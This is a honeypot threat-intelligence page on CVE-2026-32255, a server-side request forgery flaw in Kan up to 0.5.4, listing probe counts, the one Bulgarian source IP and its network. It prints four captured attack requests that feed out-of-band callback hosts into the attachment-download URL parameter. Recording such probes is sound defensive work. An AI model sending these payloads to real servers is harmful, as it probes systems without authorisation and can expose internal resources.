CVE-2026-32255: Kan <= 0.5.4 - Server-Side Request Forgery

HoneyLabs honeypots recorded 6 probes matching CVE-2026-32255 from 1 distinct source IP address in the last 7 days. Severity is rated high.

Request paths that identify it

  • /api/download/attatchment?url=http://{{*}}/{{*}}&filename=

Addresses probing it

Source IPProbesNetworkCountry
93.123.109.2146Techoff Srv LimitedBulgaria

Networks it comes from

ASNOrganisationProbesSource IPs
AS48090Techoff Srv Limited61

Where it comes from

CountryProbes
Bulgaria6

Captured requests

  • /api/download/attatchment?url=http://db6ju85r4boqct66i8b0j5o8qjs96nx1p.oast.me/3Kboy57zAMW9dRZyRxFzlFjxjCm&filename=3Kboy57zAMW9dRZyRxFzlFjxjCm
  • /api/download/attatchment?url=http://db7a64tr4bopjr84s5hgqeexpe7c8mwir.oast.site/3KenfGW04gb9wpJgV6pahERt3WW&filename=3KenfGW04gb9wpJgV6pahERt3WW
  • /api/download/attatchment?url=http://db817n5r4boisguf8240ckq8n7p1cjg4f.oast.site/3Kht1ND4hF8kkQZadYXnvkCvYg6&filename=3Kht1ND4hF8kkQZadYXnvkCvYg6
  • /api/download/attatchment?url=http://db5t5t5r4bop88fdlblg7bagyyoeqmngn.oast.pro/3KYm0XlzPsA3QfW2TmOvg9o34mS&filename=3KYm0XlzPsA3QfW2TmOvg9o34mS

HTTP client fingerprints

  • b11cun040_00040013_608dab68

CVE report

CVE report

Open a specific CVE from the CVE tracker.